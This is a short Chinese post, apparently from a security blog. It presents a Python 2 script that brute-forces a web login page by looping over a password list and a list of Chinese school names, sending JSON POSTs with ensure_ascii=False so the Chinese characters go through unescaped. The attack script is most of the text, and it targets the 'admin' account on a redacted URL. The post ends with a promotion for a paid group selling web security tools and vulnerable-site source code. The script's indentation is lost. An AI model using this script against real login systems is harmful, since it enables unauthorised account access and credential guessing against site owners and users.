因为burpsuite不识别中文,无法进行暴力破解,所以就编写了一个python脚本进行暴力破解
在测试时采用json方式POST上传中文参数时,会进行编码
例如:将“测试”汉字传递的时候,在数据包中会显示为“\u6d4b\u8bd5”。
经过不断测试后发现,需要把汉字访问txt文件中,然后去读取,读取之后,在在传递参数的位置修改为data=json.dumps(data,ensure_ascii=False),才可以正常上传汉字,例如如下脚本(暴力破解)
#!/usr/bin/env python
#-*-coding:GBK -*-
import requests
import json
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
for password in open('pass.txt'):#读取密码文件
passwd=password.replace('\n','')
for schoolname in open('schoolname.txt'):#读取汉字文件
s=schoolname.replace('\n','')
url = "http://XXXXXX/login"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
'Content-Type': 'application/json;charset=UTF-8',
'Accept': 'application/json, text/plain, */*',
'Connection': 'close',
}
data = {
'account':'admin',
'schoolname':'{}'.format(s),
'pass':'{}'.format(passwd),
}
response = requests.post(url,data=json.dumps(data,ensure_ascii=False),headers=headers,verify=False)#以汉字的形式发送POST数据包
print(response)
rs=response.status_code
if rs == 200:
rs1=response.text
passwd=str(passwd)
print (rs1)
print ('password is: {}'.format(passwd))
更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。